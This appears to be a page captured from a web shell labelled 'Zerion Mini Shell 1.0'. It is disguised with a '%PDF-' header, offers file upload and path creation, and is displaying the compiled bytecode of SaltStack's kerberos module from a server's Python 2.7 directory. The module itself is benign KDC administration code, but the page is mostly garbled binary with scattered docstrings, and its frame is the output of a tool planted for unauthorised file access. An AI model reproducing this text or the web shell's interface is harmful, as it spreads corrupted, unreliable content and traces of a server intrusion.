%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/kerberos.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZeje	�Z
d�Zd�Zd�Z
d�Zd�Zd	�Zd
�Zdd�Zd�Zdd
�ZdS(u�
Manage Kerberos KDC

:configuration:
    In order to manage your KDC you will need to generate a keytab
    that can authenticate without requiring a password.

.. code-block:: bash

    # ktadd -k /root/secure.keytab kadmin/admin kadmin/changepw

On the KDC minion you will need to add the following to the minion
configuration file so Salt knows what keytab to use and what principal to
authenticate as.

.. code-block:: yaml

    auth_keytab: /root/auth.keytab
    auth_principal: kadmin/admin
i(tabsolute_importtprint_functiontunicode_literalsNcC@s#tjjjd�rtStdfS(Nukadminu<The kerberos execution module not loaded: kadmin not in path(tsalttutilstpathtwhichtTruetFalse(((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt__virtual__!scC@s�i}tjdd�}tjdd�}td|�r]|r]tddj|||��Stjd�d|d<d	|d
<|S(u!
    Execute kadmin commands
    uauth_keytabuauth_principalufile.file_existsucmd.run_allu kadmin -k -t {0} -p {1} -q "{2}"u(Unable to find kerberos keytab/principaliuretcodeu'Missing authentication keytab/principalucommentN(t__opts__tgettNonet__salt__tformattlogterror(tcmdtrettauth_keytabtauth_principal((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt__execute_kadmin(s


cC@s�i}td�}|ddks,|drR|dj�d|d<t|d<|Sigd6}x-|d	j�d
D]}|dj|�qtW|S(u�
    Get all principals

    CLI Example:

    .. code-block:: bash

        salt 'kde.example.com' kerberos.list_principals
    ulist_principalsuretcodeiustderri����ucommenturesultu
principalsustdouti(Rt
splitlinesRtappend(RRti((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pytlist_principals?s


cC@s�i}tdj|��}|ddks5|dr[|dj�d|d<t|d<|Sx>|dj�d	D](}|jd
d	�\}}|||<qpW|S(u�
    Get princial details

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.get_principal root/admin
    uget_principal {0}uretcodeiustderri����ucommenturesultustdoutiu:(RRRRtsplit(tnameRRRtproptval((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt
get_principal[s

cC@s�i}td�}|ddks,|drR|dj�d|d<t|d<|Sigd6}x-|d	j�d
D]}|dj|�qtW|S(uz
    List policies

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.list_policies
    u
list_policiesuretcodeiustderri����ucommenturesultupoliciesustdouti(RRRR(RRR((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt
list_policiesws


cC@s�i}tdj|��}|ddks5|dr[|dj�d|d<t|d<|Sx>|dj�d	D](}|jd
d	�\}}|||<qpW|S(u�
    Get policy details

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.get_policy my_policy
    uget_policy {0}uretcodeiustderri����ucommenturesultustdoutiu:(RRRRR(RRRRRR((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt
get_policy�s

cC@s�i}td�}|ddks,|drR|dj�d|d<t|d<|SxW|dj�d	D]A}|jd
d	�\}}g|j�D]}|^q�||<qgW|S(u{
    Current privileges

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.get_privs
    u	get_privsuretcodeiustderri����ucommenturesultustdoutiu:(RRRR(RRRRRtj((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt	get_privs�s

'cC@s�i}d}|r(|dj|�7}n|dj|�7}t|�}|ddksa|dr�|dj�djd�s�|dj�d|d	<t|d
<|SntS(u�
    Create Principal

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.create_principal host/example.com
    uaddprinc -randkeyu -e {0}u {0}uretcodeiustderri����uWARNING:ucommenturesult(RRRt
startswithRR(RtenctypesRtkrb_cmdR((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pytcreate_principal�s

cC@s_i}tdj|��}|ddks5|dr[|dj�d|d<t|d<|StS(u�
    Delete Principal

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.delete_principal host/example.com@EXAMPLE.COM
    udelprinc -force {0}uretcodeiustderri����ucommenturesult(RRRRR(RRR((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pytdelete_principal�s

cC@s�i}dj|�}|r1|dj|�7}n|dj|�7}t|�}|ddksj|dr�|dj�d|d<t|d	<|StS(
u�
    Create keytab

    CLI Example:

    .. code-block:: bash

        salt 'kdc.example.com' kerberos.create_keytab host/host1.example.com host1.example.com.keytab
    uktadd -k {0}u -e {0}u {0}uretcodeiustderri����ucommenturesult(RRRRR(RtkeytabR$RR%R((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt
create_keytabs

(t__doc__t
__future__RRRtloggingtsalt.utils.pathRt	getLoggert__name__RR	RRRRR R"RR&R'R)(((s9/usr/lib/python2.7/site-packages/salt/modules/kerberos.pyt<module>s								

Zerion Mini Shell 1.0